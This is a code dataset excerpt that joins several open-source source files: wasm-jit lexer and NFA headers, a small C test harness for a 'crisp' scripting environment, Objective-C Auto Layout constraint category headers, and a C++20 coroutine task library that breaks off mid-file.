repo_name
stringlengths 6
97
| path
stringlengths 3
341
| text
stringlengths 8
1.02M
|
|---|---|---|
tvl83/fio
|
libraries/wasm-jit/Source/WAST/NFA.h
|
<gh_stars>10-100
#pragma once
#include "Inline/BasicTypes.h"
#include "Inline/DenseStaticIntSet.h"
#include <string>
namespace NFA {
// A set of characters.
typedef DenseStaticIntSet<U8, 256> CharSet;
// An index of a DFA state. A negative index indicates an "accepting" or terminal state.
typedef I16 StateIndex;
enum {
edgeDoesntConsumeInputFlag = (StateIndex) 0x4000, // A flag that's set on terminal DFA state transitions that don't consume any input
unmatchedCharacterTerminal = (StateIndex) 0x8000, // An implicit terminal state that indicates the DFA didn't recognize the input
maximumTerminalStateIndex = (StateIndex) 0xbfff, // Should be the largest negative number that doesn't have edgeDoesntConsumeInputFlag set.
};
// Creates an abstract object that holds the state of an under-construction BFA.
struct Builder;
Builder *createBuilder();
// Functions to add states and edges to the under-construction DFA.
StateIndex addState(Builder *builder);
void addEdge(Builder *builder, StateIndex initialState, const CharSet &predicate, StateIndex nextState);
void addEpsilonEdge(Builder *builder, StateIndex initialState, StateIndex nextState);
StateIndex getNonTerminalEdge(Builder *builder, StateIndex initialState, char c);
// Dumps the NFA's states and edges to the GraphViz .dot format.
std::string dumpNFAGraphViz(const Builder *builder);
// Encapsulates a NFA that has been translated into a DFA that can be efficiently executed.
struct Machine {
Machine() : stateAndOffsetToNextStateMap(nullptr), numClasses(0), numStates(0) {}
~Machine();
Machine(Machine &&inMachine) { moveFrom(std::move(inMachine)); }
void operator=(Machine &&inMachine) { moveFrom(std::move(inMachine)); }
// Constructs a DFA from the abstract builder object (which is destroyed).
Machine(Builder *inBuilder);
// Feeds characters into the DFA until it reaches a terminal state.
// Upon reaching a terminal state, the state is returned, and the nextChar pointer
// is updated to point to the first character not consumed by the DFA.
inline StateIndex feed(const char *&nextChar) const {
Iptr state = 0;
do {
state = stateAndOffsetToNextStateMap[state + charToOffsetMap[(U8) nextChar[0]]];
if (state < 0) {
nextChar += 1;
break;
}
state = stateAndOffsetToNextStateMap[state + charToOffsetMap[(U8) nextChar[1]]];
if (state < 0) {
nextChar += 2;
break;
}
state = stateAndOffsetToNextStateMap[state + charToOffsetMap[(U8) nextChar[2]]];
if (state < 0) {
nextChar += 3;
break;
}
state = stateAndOffsetToNextStateMap[state + charToOffsetMap[(U8) nextChar[3]]];
nextChar += 4;
} while (state >= 0);
if (state & edgeDoesntConsumeInputFlag) {
--nextChar;
state &= ~edgeDoesntConsumeInputFlag;
}
return (StateIndex) state;
}
// Dumps the DFA's states and edges to the GraphViz .dot format.
std::string dumpDFAGraphViz() const;
private:
typedef I16 InternalStateIndex;
enum {
internalMaxStates = INT16_MAX
};
U32 charToOffsetMap[256];
InternalStateIndex *stateAndOffsetToNextStateMap;
Uptr numClasses;
Uptr numStates;
void moveFrom(Machine &&inMachine);
};
}
|
tvl83/fio
|
libraries/wasm-jit/Include/WASM/WASM.h
|
<reponame>tvl83/fio
#pragma once
#ifndef WEBASSEMBLY_API
#define WEBASSEMBLY_API DLL_IMPORT
#endif
#include "Inline/BasicTypes.h"
namespace IR {
struct Module;
struct DisassemblyNames;
}
namespace Serialization {
struct InputStream;
struct OutputStream;
}
namespace WASM {
WEBASSEMBLY_API void serialize(Serialization::InputStream &stream, IR::Module &module);
WEBASSEMBLY_API void serialize(Serialization::OutputStream &stream, const IR::Module &module);
}
|
tvl83/fio
|
libraries/wasm-jit/Source/WAST/Lexer.h
|
<reponame>tvl83/fio
#pragma once
#include "Inline/BasicTypes.h"
#include "IR/Operators.h"
#include "WAST.h"
#define VISIT_OPERATOR_TOKEN(opcode, name, nameString, ...) \
VISIT_TOKEN(name,"'" #nameString "'")
#define VISIT_LITERAL_TOKEN(name) VISIT_TOKEN(name,"'" #name "'")
#define ENUM_LITERAL_TOKENS() \
VISIT_LITERAL_TOKEN(module) \
VISIT_LITERAL_TOKEN(func) \
VISIT_LITERAL_TOKEN(type) \
VISIT_LITERAL_TOKEN(table) \
VISIT_LITERAL_TOKEN(export) \
VISIT_LITERAL_TOKEN(import) \
VISIT_LITERAL_TOKEN(memory) \
VISIT_LITERAL_TOKEN(data) \
VISIT_LITERAL_TOKEN(elem) \
VISIT_LITERAL_TOKEN(start) \
VISIT_LITERAL_TOKEN(param) \
VISIT_LITERAL_TOKEN(result) \
VISIT_LITERAL_TOKEN(local) \
VISIT_LITERAL_TOKEN(global) \
VISIT_LITERAL_TOKEN(assert_return) \
VISIT_LITERAL_TOKEN(assert_return_canonical_nan) \
VISIT_LITERAL_TOKEN(assert_return_arithmetic_nan) \
VISIT_LITERAL_TOKEN(assert_trap) \
VISIT_LITERAL_TOKEN(assert_invalid) \
VISIT_LITERAL_TOKEN(assert_unlinkable) \
VISIT_LITERAL_TOKEN(assert_malformed) \
VISIT_LITERAL_TOKEN(assert_exhaustion) \
VISIT_LITERAL_TOKEN(invoke) \
VISIT_LITERAL_TOKEN(get) \
VISIT_LITERAL_TOKEN(align) \
VISIT_LITERAL_TOKEN(offset) \
VISIT_LITERAL_TOKEN(then) \
VISIT_LITERAL_TOKEN(register) \
VISIT_LITERAL_TOKEN(mut) \
VISIT_LITERAL_TOKEN(i32) \
VISIT_LITERAL_TOKEN(i64) \
VISIT_LITERAL_TOKEN(f32) \
VISIT_LITERAL_TOKEN(f64) \
VISIT_LITERAL_TOKEN(anyfunc) \
VISIT_LITERAL_TOKEN(shared) \
VISIT_LITERAL_TOKEN(quote) \
VISIT_LITERAL_TOKEN(binary) \
ENUM_SIMD_LITERAL_TOKENS()
#if !ENABLE_SIMD_PROTOTYPE
#define ENUM_SIMD_LITERAL_TOKENS()
#else
#define ENUM_SIMD_LITERAL_TOKENS() \
VISIT_LITERAL_TOKEN(v128) \
VISIT_LITERAL_TOKEN(b8x16) \
VISIT_LITERAL_TOKEN(b16x8) \
VISIT_LITERAL_TOKEN(b32x4) \
VISIT_LITERAL_TOKEN(b64x2)
#endif
#define ENUM_TOKENS() \
VISIT_TOKEN(eof,"eof") \
\
VISIT_TOKEN(unterminatedComment,"unterminated comment") \
VISIT_TOKEN(unrecognized,"unrecognized token") \
\
VISIT_TOKEN(decimalFloat,"decimal float literal") \
VISIT_TOKEN(decimalInt,"decimal int literal") \
VISIT_TOKEN(hexFloat,"hexadecimal float literal") \
VISIT_TOKEN(hexInt,"hexadecimal int literal") \
VISIT_TOKEN(floatNaN,"float NaN literal") \
VISIT_TOKEN(floatInf,"float infinity literal") \
VISIT_TOKEN(string,"string literal") \
VISIT_TOKEN(name,"name literal") \
\
VISIT_TOKEN(leftParenthesis,"'('") \
VISIT_TOKEN(rightParenthesis,"')'") \
VISIT_TOKEN(equals,"'='") \
\
ENUM_LITERAL_TOKENS() \
\
ENUM_OPERATORS(VISIT_OPERATOR_TOKEN)
namespace WAST {
enum TokenType : U16 {
#define VISIT_TOKEN(name, description) t_##name,
ENUM_TOKENS()
#undef VISIT_TOKEN
numTokenTypes
};
PACKED_STRUCT(
struct Token
{
TokenType type;
U32 begin;
});
struct LineInfo;
// Lexes a string and returns an array of tokens.
// Also returns a pointer in outLineInfo to the information necessary to resolve line/column numbers for the tokens.
// The caller should pass the tokens and line info to freeTokens/freeLineInfo, respectively, when it is done with them.
Token *lex(const char *string, Uptr stringLength, LineInfo *&outLineInfo);
void freeTokens(Token *tokens);
void freeLineInfo(LineInfo *lineInfo);
const char *describeToken(TokenType tokenType);
TextFileLocus calcLocusFromOffset(const char *string, const LineInfo *lineInfo, Uptr charOffset);
}
|
CreatureDev/crisp
|
cmain.c
|
#include <stdio.h>
#include <stdlib.h>
#include "crisp.h"
#define TESTSIZE 0x5
#define DATSIZE (sizeof(float) * TESTSIZE)
#define FUNSIZE (sizeof(void (*)(void)) * TESTSIZE)
#define CRSSIZE (sizeof(crisp *) * TESTSIZE)
static float *xp;
static float *yp;
static float *zp;
static float *xr;
static float *yr;
static float *zr;
static float *wr;
void *xposaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &xp[ent];
return 0;
}
void *yposaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &yp[ent];
return 0;
}
void *zposaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &zp[ent];
return 0;
}
void *xrotaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &xr[ent];
return 0;
}
void *yrotaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &yr[ent];
return 0;
}
void *zrotaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &zr[ent];
return 0;
}
void *wrotaddr(unsigned int ent)
{
if(--ent < TESTSIZE)
return &wr[ent];
return 0;
}
static crisp *glb, *cmd, *log;
typedef void (*upfun)(void);
upfun *update;
int main(int argc, char **argv)
{
xp = (float *) malloc(DATSIZE);
yp = (float *) malloc(DATSIZE);
zp = (float *) malloc(DATSIZE);
xr = (float *) malloc(DATSIZE);
yr = (float *) malloc(DATSIZE);
zr = (float *) malloc(DATSIZE);
wr = (float *) malloc(DATSIZE);
update = (void (**)(void)) malloc(FUNSIZE);
glb = createcrispenv('\0');
cmd = createcrispenv(glb);
log = createcrispenv(glb);
xp[0] = 0.1f;
execfile(glb, "exectest.cr", 1);
compfile(glb, "comptest.cr", 1);
free(update);
free(xp);
free(yp);
free(zp);
free(xr);
free(yr);
free(zr);
free(wr);
cleancrispenv(log);
cleancrispenv(cmd);
cleancrispenv(glb);
return 0;
}
|
CreatureDev/crisp
|
crisp.h
|
#ifndef __CRSIP_H__
#define __CRISP_H__
typedef struct crisp crisp;
typedef void (*upfun)(void);
crisp *createcrispenv(crisp *);
void cleancrispenv(crisp *);
void execfile(crisp *, const char *, unsigned int);
void compfile(crisp *, const char *, unsigned int);
#endif
|
mikeswanson/JBNSLayoutConstraint
|
JBNSLayoutConstraint/JBNSLayoutConstraint+Install.h
|
//
// JBNSLayoutConstraint+Install.h
//
// Created by <NAME> on 10/8/13.
// Copyright (c) 2013 <NAME>. All rights reserved.
// http://blog.mikeswanson.com
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
//
#import <UIKit/UIKit.h>
@interface NSLayoutConstraint (JBLayoutConstraintInstallAdditions)
#pragma mark - Class methods
/**
* Create and install constraints described by ASCII art-like visual format strings and
* text-based linear equations of the following form:
*
* view1.attr1 == view2.attr2 * multiplier + constant @ priority
*
* @param visualFormat The format specifications for the constraints.
* Separate multiple expressions with a semicolon.
* @param options Options describing the attribute and the direction of
* layout for all objects in the visual format string.
* @param metrics A dictionary of constants that appear in the visual
* format string. The keys must be the string values used
* in the visual format string, and the values must be
* @p NSNumber objects.
* @param views A dictionary of views that appear in the visual format
* string. The keys must be the string values used in the
* visual format string, and the values must be the view
* objects.
*
* @return An array of constraints that, combined, express the constraints
* between the provided views and their parent view as described by
* the visual format string. The constraints are returned in the same
* order they were specified in the visual format string.
*/
+ (void)jb_installConstraintsWithVisualFormat:(NSString *)visualFormat
options:(NSLayoutFormatOptions)options
metrics:(NSDictionary *)metrics
views:(NSDictionary *)views;
/**
* Adds each constraint to the closest common ancestor of its involved views.
*
* @note Sets @p translatesAutoresizingMaskIntoConstraints to @p NO
* for the involved views of each constraint.
*
* @param constraints An array of constraints to be added.
*/
+ (void)jb_installConstraints:(NSArray *)constraints;
/**
* Removes each constraint from its view.
*
* @param constraints An array of constraints to be removed.
*/
+ (void)jb_uninstallConstraints:(NSArray *)constraints;
#pragma mark - Instance methods
/**
* Adds the receiver to the closest common ancestor of its involved views.
*
* @note Sets @p translatesAutoresizingMaskIntoConstraints to @p NO
* for involved views.
*/
- (void)jb_install;
/**
* Removes the receiver from its view.
*/
- (void)jb_uninstall;
@end
|
mikeswanson/JBNSLayoutConstraint
|
JBNSLayoutConstraint/JBViewController.h
|
<filename>JBNSLayoutConstraint/JBViewController.h
//
// JBViewController.h
// JBNSLayoutConstraint
//
// Created by <NAME> on 10/7/13.
// Copyright (c) 2013 Juicy Bits. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface JBViewController : UIViewController
@end
|
mikeswanson/JBNSLayoutConstraint
|
JBNSLayoutConstraint/JBNSLayoutConstraint+LinearEquation.h
|
<reponame>mikeswanson/JBNSLayoutConstraint
//
// JBNSLayoutConstraint+LinearEquation.h
//
// Created by <NAME> on 10/8/13.
// Copyright (c) 2013 <NAME>. All rights reserved.
// http://blog.mikeswanson.com
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
//
#import <UIKit/UIKit.h>
@interface NSLayoutConstraint (JBLayoutConstraintLinearEquationAdditions)
#pragma mark - Class methods
/**
* Create constraints described by ASCII art-like visual format strings and
* text-based linear equations of the following form:
*
* view1.attr1 == view2.attr2 * multiplier + constant @ priority
*
* @param visualFormat The format specifications for the constraints.
* Separate multiple expressions with a semicolon.
* @param options Options describing the attribute and the direction of
* layout for all objects in the visual format string.
* @param metrics A dictionary of constants that appear in the visual
* format string. The keys must be the string values used
* in the visual format string, and the values must be
* @p NSNumber objects.
* @param views A dictionary of views that appear in the visual format
* string. The keys must be the string values used in the
* visual format string, and the values must be the view
* objects.
*
* @return An array of constraints that, combined, express the constraints
* between the provided views and their parent view as described by
* the visual format string. The constraints are returned in the same
* order they were specified in the visual format string.
*/
+ (NSArray *)jb_constraintsWithVisualFormat:(NSString *)visualFormat
options:(NSLayoutFormatOptions)options
metrics:(NSDictionary *)metrics
views:(NSDictionary *)views;
@end
|
mikeswanson/JBNSLayoutConstraint
|
JBNSLayoutConstraint/JBAppDelegate.h
|
//
// JBAppDelegate.h
// JBNSLayoutConstraint
//
// Created by <NAME> on 10/7/13.
// Copyright (c) 2013 Juicy Bits. All rights reserved.
//
#import "JBViewController.h"
@interface JBAppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@property (strong, nonatomic) JBViewController *viewController;
@end
|
GrandChris/ucppcoro
|
include/ucppcoro/Delegate.h
|
//
// \file Delegate.h
// \author GrandChris
// \date 2020-10-14
// \brief Function pointer to a member function
//
#pragma once
#include <concepts>
template<typename T>
class Delegate;
///
/// \class Delegate.h
/// \author GrandChris
/// \date 2020-10-14
/// \brief Stores any member function
/// \param R(Args) function signature
/// \details https://www.codeproject.com/Articles/11015/The-Impossibly-Fast-C-Delegates
///
template <typename R, typename... Args>
class Delegate<R(Args...)>
{
public:
///////////////////////////////////////////////////////////////////////////////
// Public Methods
template<typename ...TArgs>
R operator()(TArgs&&... args) const;
template <auto Method, typename T>
void set(T* objectPtr);
template <typename T>
void set(T* objectPtr);
template <auto Function>
void set();
template <auto Method, typename T>
void setMethod(T* objectPtr) {
// set<Method>(objectPtr);
}
private:
///////////////////////////////////////////////////////////////////////////////
// Type Definitions
using MethodPtr = R (*)(void * objectPtr, Args&&... args); // Function signature
///////////////////////////////////////////////////////////////////////////////
// Member Variables
void * mObject = nullptr; // Pointer to the object
MethodPtr mFunction = nullptr; // Pointer to the function of the object
///////////////////////////////////////////////////////////////////////////////
// Static Functions
template <auto Method, typename T>
static R callMethod(void* objectPtr, Args&&... args);
template <class T>
static R callFunctor(void* objectPtr, Args&&... args);
template <auto Method>
static R callFunction(void* objectPtr, Args&&... args);
};
///////////////////////////////////////////////////////////////////////////////
// Implementation
#include "type_traits_function_pointer.h"
#include <utility>
///
/// \brief Calls the stored function
/// \author GrandChris
/// \date 2020-10-14
/// \param args function arguments
/// \return R function return type
///
template <typename R, typename... Args>
template<typename ...TArgs>
inline R Delegate<R(Args...)>::operator()(TArgs&&... args) const
{
// if(mFunction != nullptr) {
return (*mFunction)(mObject, std::forward<Args>(args)...);
// }
// else {
// return R()
// }
}
///
/// \brief Sets a member function
/// \author GrandChris
/// \date 2020-10-14
/// \param T Class type
/// \param Method Member function pointer
/// \param objectPtr Pointer to an object of this class
///
template <typename R, typename... Args>
template <auto Method, typename T>
inline void Delegate<R(Args...)>::set(T* objectPtr)
{
static_assert(std::is_member_function_pointer_v<decltype(Method)>);
static_assert(Method != nullptr);
mObject = objectPtr;
mFunction = &callMethod<Method, T>;
}
///
/// \brief Sets a function object
/// \author GrandChris
/// \date 2020-10-14
/// \param T Invocable class
/// \param objectPtr Pointer to an object of this class
///
template <typename R, typename... Args>
template <typename T>
inline void Delegate<R(Args...)>::set(T* objectPtr)
{
mObject = objectPtr;
mFunction = &callFunctor<T>;
}
///
/// \brief Sets regular function
/// \author GrandChris
/// \date 2020-11-21
/// \param Function Function pointer
///
template <typename R, typename... Args>
template <auto Function>
inline void Delegate<R(Args...)>::set()
{
static_assert(is_function_ptr_v<decltype(Function)>);
static_assert(Function != nullptr);
mObject = nullptr;
mFunction = callFunction<Function>;
}
///
/// \brief Call a member function like a function pointer
/// \author GrandChris
/// \date 2020-10-14
/// \param T Class type
/// \param Method Class Method
/// \param objectPtr Pointer to an object of this class
/// \param args Arguments of the member function
///
template <typename R, typename... Args>
template <auto Method, typename T>
inline R Delegate<R(Args...)>::callMethod(void* objectPtr, Args&&... args)
{
T* p = static_cast<T*>(objectPtr);
return (p->*Method)(std::forward<Args>(args)...);
}
///
/// \brief Call a member function like a function pointer
/// \author GrandChris
/// \date 2020-10-14
/// \param T Class type
/// \param TMethod Class Method
/// \param objectPtr Pointer to an object of this class
/// \param args Arguments of the member function
///
template <typename R, typename... Args>
template <typename T>
inline R Delegate<R(Args...)>::callFunctor(void* objectPtr, Args&&... args)
{
T* p = static_cast<T*>(objectPtr);
return (*p)(std::forward<Args>(args)...);
}
///
/// \brief Call a member function like a function pointer
/// \author GrandChris
/// \date 2020-10-14
/// \param T Class type
/// \param Function Class Method
/// \param objectPtr Pointer to an object of this class
/// \param args Arguments of the member function
///
template <typename R, typename... Args>
template <auto Function>
inline R Delegate<R(Args...)>::callFunction(void* objectPtr, Args&&... args)
{
return (*Function)(std::forward<Args>(args)...);
}
|
GrandChris/ucppcoro
|
include/ucppcoro/AwaitableLambda.h
|
//
// \file AwaitableLambda.h
// \author GrandChris
// \date 2020-10-24
// \brief An awaitable object
//
#pragma once
#include "Delegate.h"
#if !defined(__cpp_impl_coroutine)
#define __cpp_impl_coroutine 1 // just for intellisense to work properly
#endif
#include <coroutine>
#include <concepts>
///
/// \class AwaitableLambda.h
/// \author GrandChris
/// \date 2020-10-14
/// \brief Stores a lambda and calls it on "await_ready"
/// \param T Lambda function (or function object)
///
template<std::invocable T>
class AwaitableLambda {
public:
///////////////////////////////////////////////////////////////////////////////
// Constructors
AwaitableLambda(T && lambda);
AwaitableLambda(AwaitableLambda<T> && other);
///////////////////////////////////////////////////////////////////////////////
// Public Methods
void registerDelegate(Delegate<bool()> * delegate);
bool await_ready();
void await_suspend(std::coroutine_handle<> h){}
void await_resume() {}
private:
///////////////////////////////////////////////////////////////////////////////
// Member Variables
T mLambda; // holding a lambda function
Delegate<bool()> * mAwaitReadyReference = nullptr; // pointer to a delegate holding a reference to the await_ready function
};
///////////////////////////////////////////////////////////////////////////////
// Implementation
///
/// \brief Constructor
/// \author GrandChris
/// \date 2020-10-25
/// \param lambda Lambda function returning true when ready
///
template <std::invocable T>
inline AwaitableLambda<T>::AwaitableLambda(T &&lambda)
: mLambda(std::move(lambda))
{
}
///
/// \brief Move Constructor
/// \author GrandChris
/// \date 2020-10-25
/// \param other Other object
/// \defails Fun fact: The move constructor is never called (not even on -O0) because of "copy elision"
/// But the function is required for the compiler to create the right behaviour
///
template<std::invocable T>
inline AwaitableLambda<T>::AwaitableLambda(AwaitableLambda<T> && other) :
mLambda(std::move(other.mLambda)),
mAwaitReadyReference(std::move(other.mAwaitReadyReference))
{
// also move the reference of the delegate to the new object
if(mAwaitReadyReference != nullptr) {
mAwaitReadyReference->set<&AwaitableLambda<T>::await_ready>(this);
}
}
///
/// \brief Registers a reference to the await_ready function
/// \author GrandChris
/// \date 2020-10-25
/// \param delegate Pointer to a delegate to write a reference to the await_ready function
/// \defails This function is required for the class "Task" to ask if the task is ready to resume
///
template<std::invocable T>
inline void AwaitableLambda<T>::registerDelegate(Delegate<bool()> * delegate) {
mAwaitReadyReference = delegate;
if(mAwaitReadyReference != nullptr) {
mAwaitReadyReference->set<&AwaitableLambda<T>::await_ready>(this);
}
}
///
/// \brief Returns true if the condition is met to resume
/// \author GrandChris
/// \date 2020-10-25
/// \return True if it ready, false otherwise
///
template<std::invocable T>
inline bool AwaitableLambda<T>::await_ready() {
return mLambda();
}
|
GrandChris/ucppcoro
|
include/ucppcoro/type_traits_function_pointer.h
|
//
// \file type_traits_function_pointer.h
// \author GrandChris
// \date 2020-10-26
// \brief type traits for function pointers
//
#pragma once
#include <type_traits>
#include <tuple>
///
/// \class return_type
/// \author GrandChris
/// \date 2020-10-26
/// \brief Deduces the return type of a function pointer at compile time.
///
template <typename T>
struct return_type;
template <typename R, typename... Args>
struct return_type<R (*)(Args...)>
{
using type = R;
};
///
/// \class argument_type
/// \author GrandChris
/// \date 2020-10-26
/// \brief Deduces the argument types of a function pointer at compile time.
///
template <typename T>
struct argument_type;
template <typename R, typename... Args>
struct argument_type<R (*)(Args...)>
{
static size_t const size = sizeof...(Args);
template<size_t i>
using type = std::tuple_element<i, std::tuple<Args...>>::type;
template<size_t i>
using type_noref = std::remove_reference<type<i>>::type;
template<template<typename...> typename T>
using apply = T<Args...>;
using tuple = std::tuple<Args...>;
using tuple_noref = std::tuple<std::remove_reference_t<Args>...>;
};
///
/// \class is_function_ptr
/// \author GrandChris
/// \date 2020-10-26
/// \brief Determines if the template is a function pointer
///
template<typename T>
struct is_function_ptr {
static constexpr bool value = false;
};
template <typename R, typename... Args>
struct is_function_ptr<R (*)(Args...)> {
static constexpr bool value = true;
};
template<typename T>
inline constexpr bool is_function_ptr_v = is_function_ptr<T>::value;
|
GrandChris/ucppcoro
|
include/ucppcoro/Promise.h
|
<reponame>GrandChris/ucppcoro<filename>include/ucppcoro/Promise.h
//
// \file promise.h
// \author GrandChris
// \date 2020-10-11
// \brief A promise for a coroutine
//
#pragma once
#include <stddef.h>
///
/// \class Promise
/// \author GrandChris
/// \date 2020-10-25
/// \brief Promise of a coroutine (for class Task)
///
template<size_t SIZE>
class Promise {
public:
///////////////////////////////////////////////////////////////////////////////
// Constructors
Promise();
///////////////////////////////////////////////////////////////////////////////
// Public Methods
Task<SIZE> get_return_object();
std::suspend_always initial_suspend();
std::suspend_never final_suspend();
template<std::invocable T>
AwaitableLambda<T> await_transform(T functor);
void return_void();
void unhandled_exception();
bool finished() const;
bool resumable();
///////////////////////////////////////////////////////////////////////////////
// Static functions
void* operator new( size_t count) noexcept;
void operator delete(void * mem) noexcept;
static Task<SIZE> get_return_object_on_allocation_failure();
private:
///////////////////////////////////////////////////////////////////////////////
// Member Variables
bool mFinished = false; // Indicates when the coroutine has finished execution
Delegate<bool()> mIsReady; // Function indicating if the coroutine can be resumed
///////////////////////////////////////////////////////////////////////////////
// Static Variables
static inline std::array<std::byte, SIZE> memory = {}; // Place for operator new to store temporarily the coroutine data
static inline size_t lastSize = 0; // Place for operator new to store temporarily the allocated size
};
///////////////////////////////////////////////////////////////////////////////
// Implementation
// #include <iostream>
///
/// \brief Constructor
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline Promise<SIZE>::Promise() {
auto lbd = [](){return true;};
mIsReady.set(&lbd);
}
///
/// \brief Construct a Task
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline Task<SIZE> Promise<SIZE>::get_return_object() {
return Task<SIZE>(memory, lastSize);
}
///
/// \brief Construct a Task on allocation failure
/// \author GrandChris
/// \date 2020-10-26
///
template<size_t SIZE>
Task<SIZE> Promise<SIZE>::get_return_object_on_allocation_failure() {
return Task<SIZE>(lastSize);
}
///
/// \brief Action on Promise creation
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline std::suspend_always Promise<SIZE>::initial_suspend() {
// std::cout << "initial_suspend" << std::endl;
return {};
}
///
/// \brief Action on Promise destruction
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline std::suspend_never Promise<SIZE>::final_suspend() {
mFinished = true;
// std::cout << "final_suspend" << std::endl;
return {};
}
///
/// \brief Saves a reference to the awaitable object
/// \author GrandChris
/// \date 2020-10-25
/// \param functor Lambda function returning "true" when ready
///
template<size_t SIZE>
template<std::invocable T>
AwaitableLambda<T> Promise<SIZE>::await_transform(T functor)
{
AwaitableLambda awaitable(std::move(functor));
awaitable.registerDelegate(&mIsReady);
return awaitable;
}
///
/// \brief co_retunr has been called
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline void Promise<SIZE>::return_void() {
mFinished = true;
}
///
/// \brief An exception has been thrown
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline void Promise<SIZE>::unhandled_exception() {
// it is intended to be used with exceptions disabled
}
///
/// \brief Returns if co_return has bee called
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline bool Promise<SIZE>::finished() const {
return mFinished;
}
///
/// \brief Checks if the coroutine is waiting for a event
/// \author GrandChris
/// \date 2020-10-25
///
template<size_t SIZE>
bool Promise<SIZE>::resumable() {
return mIsReady();
}
///
/// \brief Allocates the memory for the coroutine
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline void* Promise<SIZE>::operator new( size_t count) noexcept
{
lastSize = count;
if(count <= SIZE) {
return new(memory.data()) std::byte[count];
}
else {
return nullptr;
}
}
///
/// \brief Frees the memory of the coroutine
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline void Promise<SIZE>::operator delete(void * mem) noexcept
{
// memory is kept in a member variable of class "Task<>"
// it will be deleted when the Task object goes out of scope
// nothing to do here
}
|
GrandChris/ucppcoro
|
include/ucppcoro/Task.h
|
<filename>include/ucppcoro/Task.h
//
// \file task.h
// \author GrandChris
// \date 2020-10-18
// \brief A runnable task
//
#pragma once
#include "AwaitableLambda.h"
#include <array>
#include <cstddef>
template<size_t SIZE>
class Promise;
///
/// \class Task
/// \author GrandChris
/// \date 2020-10-25
/// \brief Suspendable Task running a coroutine
///
template<size_t SIZE>
class Task {
public:
///////////////////////////////////////////////////////////////////////////////
// Type Definitions
using promise_type = Promise<SIZE>;
static size_t const max_size = SIZE;
///////////////////////////////////////////////////////////////////////////////
// Constructor
Task() = default;
Task(size_t const allocSize);
Task(std::array<std::byte, SIZE> & memory, size_t const allocSize);
///////////////////////////////////////////////////////////////////////////////
// Public Methods
bool resume();
size_t size() const;
void destroy();
private:
///////////////////////////////////////////////////////////////////////////////
// Member Variables
std::coroutine_handle<promise_type> mHandle = nullptr; // Holds the reference to the coroutine
size_t const mAllocSize = 0; // Allocated size of the coroutine
std::array<std::byte, SIZE> mMemory = {}; // Memory to store the coroutine
};
///////////////////////////////////////////////////////////////////////////////
// Implementation
#include "Promise.h"
///
/// \brief Constructor on failed allocation
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline Task<SIZE>::Task(size_t const allocSize)
: mAllocSize(allocSize)
{
}
///
/// \brief Constructor on successful allocation
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline Task<SIZE>::Task(std::array<std::byte, SIZE> & memory, size_t const allocSize)
: mAllocSize(allocSize),
mMemory(memory) // copy memory of the allocated coroutine into the local object
{
mHandle = std::coroutine_handle<Promise<SIZE>>::from_address(mMemory.data());
memory.fill(std::byte()); // clear old memory, just to be sure
}
///
/// \brief Resumes execution
/// \author GrandChris
/// \date 2020-10-19
/// \return true if there is still work to do, false otherwise
///
template<size_t SIZE>
inline bool Task<SIZE>::resume()
{
if(mHandle == nullptr) {
return false;
}
if(mHandle.promise().finished() || mHandle.done()) {
return false;
}
else {
if(mHandle.promise().resumable()) {
mHandle.resume();
}
return true;
}
}
///
/// \brief Returns the allocated size of the coroutine
/// \author GrandChris
/// \date 2020-10-19
///
template<size_t SIZE>
inline size_t Task<SIZE>::size() const {
